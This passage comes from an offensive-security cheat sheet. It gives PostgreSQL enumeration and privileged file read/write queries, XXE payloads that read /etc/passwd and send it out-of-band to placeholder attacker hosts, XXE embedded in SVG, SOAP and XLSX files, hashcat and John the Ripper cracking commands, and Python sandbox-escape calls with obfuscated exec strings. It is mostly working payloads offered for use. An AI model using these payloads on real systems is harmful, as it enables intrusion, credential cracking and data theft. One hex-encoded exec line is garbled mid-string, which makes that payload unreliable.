SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public');
```

### Find Tables from Column Name

```sql
#If you want to list all the table names that contain a column LIKE '%password%':
SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';
```

### Hostname, IP Address

```sql
#Returns db server IP address (or null if using local connection) 
SELECT inet_server_addr();

#Returns db server port
SELECT inet_server_port();
```

### Create Users (PRIV)

```sql
CREATE USER test1 PASSWORD 'pass1';

#Grant some privs at the same time
CREATE USER test1 PASSWORD 'pass1' CREATEUSER;
```

### Delete Users (PRIV)

```sql
DROP USER test1;
```

### Make User DBA (PRIV)

```sql
ALTER USER test1 CREATEUSER CREATEDB;
```

### Location of DB Files (PRIV)

```sql
SELECT current_setting('data_directory');
SELECT current_setting('hba_file');
```

### Read Files (PRIV)

```sql
COPY passwords from $$c:\passwords.txt$$;
SELECT content from passwords;
```

### Write Files (PRIV)

```sql
CREATE temp table passwords (content text);
COPY (SELECT $$passwords$$) to $$c:\passwords.txt$$;
```


# XML External Entity (XXE)

## Exploiting XXE to retrieve files

### Classic XXE

Display content of `/etc/passwd.`

```bash
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
```

```bash
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
```

### Classic XXE Base64 encoded

Base64 string == `file://etc/passwd`

```bash
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```

### PHP Wrapper inside XXE

```bash
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >
]>
<foo>&xxe;</foo>
```

### Xinclude attack

```bash
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

## Exploiting XXE to perform SSRF attacks

```bash
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://127.0.0.1:5000/secret_pass.txt" >
]>
<foo>&xxe;</foo>
```

## Exploiting blind XXE to exfiltrate data out-of-band

Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack.

### Blind XXE

The easiest way to test for a blind XXE is to try to load a remote resource such as a Burp Collaborator.

```bash
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://YOURBURCOLLABORATOR.net/x"> %ext;
]>
<r></r>
```

Send the content of `/etc/passwd` to `www.web.com` (you may receive only the first line).

```bash
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.web.com/?%xxe;">
]
>
<foo>&callhome;</foo>
```

## XXE in weird files

### XXE inside SVG

```bash
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls" width="200" height="200"></image>
</svg>
```

### XXE inside SOAP

```bash
<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>
```

### XXE inside XLSX file

Extract the excel file.

```bash
$ mkdir XXE && cd XXE
$ unzip ../XXE.xlsx
Archive:  ../XXE.xlsx
  inflating: xl/drawings/drawing1.xml
  inflating: xl/worksheets/sheet1.xml
  inflating: xl/worksheets/_rels/sheet1.xml.rels
  inflating: xl/sharedStrings.xml
  inflating: xl/styles.xml
  inflating: xl/workbook.xml
  inflating: xl/_rels/workbook.xml.rels
  inflating: _rels/.rels
  inflating: [Content_Types].xml
```

Add your blind XXE payload inside `xl/workbook.xml`.

```bash
<xml...>
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://YOURCOLLABORATORID.burpcollaborator.net/"> ]>
<x>&xxe;</x>
<workbook...>
```

Alternativly, add your payload in `xl/sharedStrings.xml`:

```bash
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [ <!ELEMENT t ANY > <!ENTITY xxe SYSTEM "http://YOURCOLLABORATORID.burpcollaborator.net/"> ]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" uniqueCount="10"><si><t>&xxe;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst>
```

Rebuild the Excel file.

```
$ zip -r ../poc.xlsx *
updating: [Content_Types].xml (deflated 71%)
updating: _rels/ (stored 0%)
updating: _rels/.rels (deflated 60%)
updating: docProps/ (stored 0%)
updating: docProps/app.xml (deflated 51%)
updating: docProps/core.xml (deflated 50%)
updating: xl/ (stored 0%)
updating: xl/workbook.xml (deflated 56%)
updating: xl/worksheets/ (stored 0%)
updating: xl/worksheets/sheet1.xml (deflated 53%)
updating: xl/styles.xml (deflated 60%)
updating: xl/theme/ (stored 0%)
updating: xl/theme/theme1.xml (deflated 80%)
updating: xl/_rels/ (stored 0%)
updating: xl/_rels/workbook.xml.rels (deflated 66%)
updating: xl/sharedStrings.xml (deflated 17%)
```

## References

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#exploiting-xxe-to-retrieve-files>" %}
XXE Payloads Repository
{% endembed %}


# Cracking

### Set of dictionaries for cracking hashes <a href="#set-of-dictionaries-for-cracking-hashes" id="set-of-dictionaries-for-cracking-hashes"></a>

{% embed url="<https://github.com/kaonashi-passwords/Kaonashi>" %}
Kaonashi - Wordlist, rules and masks from Kaonashi project (RootedCON 2019)
{% endembed %}

{% embed url="<https://github.com/danielmiessler/SecLists/tree/master/Passwords>" %}
SecLists - Collection of multiple types of lists used during security assessments
{% endembed %}

{% embed url="<https://weakpass.com/wordlist>" %}
Weakpass - Passwords collections
{% endembed %}

### Rules files <a href="#rules-files" id="rules-files"></a>

{% embed url="<https://github.com/NSAKEY/nsa-rules>" %}
NSA Rules - Password cracking rules and masks for hashcat
{% endembed %}

{% embed url="<https://github.com/NotSoSecure/password_cracking_rules>" %}
OneRuleToRuleThemAll - One rule to crack all passwords.
{% endembed %}

{% embed url="<https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules>" %}
Kaonashi Rules
{% endembed %}

[<br>](https://github.com/kaonashi-passwords/Kaonashi)


# Hashcat

### Tool <a href="#tool" id="tool"></a>

{% embed url="<https://github.com/hashcat/hashcat>" %}
Hashcat - World's fastest and most advanced password recovery utility
{% endembed %}

{% embed url="<https://hashcat.net/wiki/doku.php?id=example_hashes>" %}
Generic hash types
{% endembed %}

### Parameters <a href="#parameters" id="parameters"></a>

```
-m: Mode (hash type)
-a: Attack type
    0 = Straight (dictionary)
    1 = Combination
    2 = Toggle-Case
    3 = Brute-force
    4 = Permutation
    5 = Table-Lookup
    8 = Prince
-w: Workload profile
    1 = Low
    2 = Medium
    3 = High
    4 = Nightmare
-O: Enable optimized kernels (limits password length)
-o: Output (if you want it to be saved in a txt)
```

### Attack examples <a href="#attack-examples" id="attack-examples"></a>

```bash
#Dictionary attack
hashcat -m 1800 -a 0 shadow.txt /usr/share/wordlists/rockyou.txt​

#Brute-force attack
hashcat -m 1800 -a 3 shadow.txt
```

### Complete guide about hashcat use (in spanish) <a href="#complete-guide-about-hashcat-use-in-spanish" id="complete-guide-about-hashcat-use-in-spanish"></a>

{% embed url="<https://jesux.es/cracking/passwords-cracking/>" %}
Guia: Introduccion al Password Crackingó
{% endembed %}


# John the Ripper

### Tool

{% embed url="<https://github.com/openwall/john>" %}
John the Ripper Jumbo - Advanced Offline Password Cracker
{% endembed %}

### Use of FILE2john

There are several scripts to convert any software format to john (keepass2john.py, zip2john.py, cisco2john.pl) located on john/run path. We use these scripts to create hash files that we can crack later with JTR.

```bash
#Example
python zip2john.py encrypted.zip > zip.hash
```

### John parameters

```
-f=[format] / --format=[format]
-w=[wordlist path] / --wordlist=[wordlist path]
```

### Attack examples

```bash
#Attack to md5 hash file
john -f=raw-md5 -w=/usr/share/wordlists/rockyou.txt md5.hash

#Attack to sha1 hash file
john -f=raw-sha1 -w=/usr/share/wordlists/rockyou.txt md5.hash
```


# Sandbox Escape

## Python

### Command Execution Libraries

```python
os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls") 
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.popen("ls").read()
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
```

### Executing python code

```python
#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")

#Hex
exec("\x5f\x5f\x69\x6d\xIf youca70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")

#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```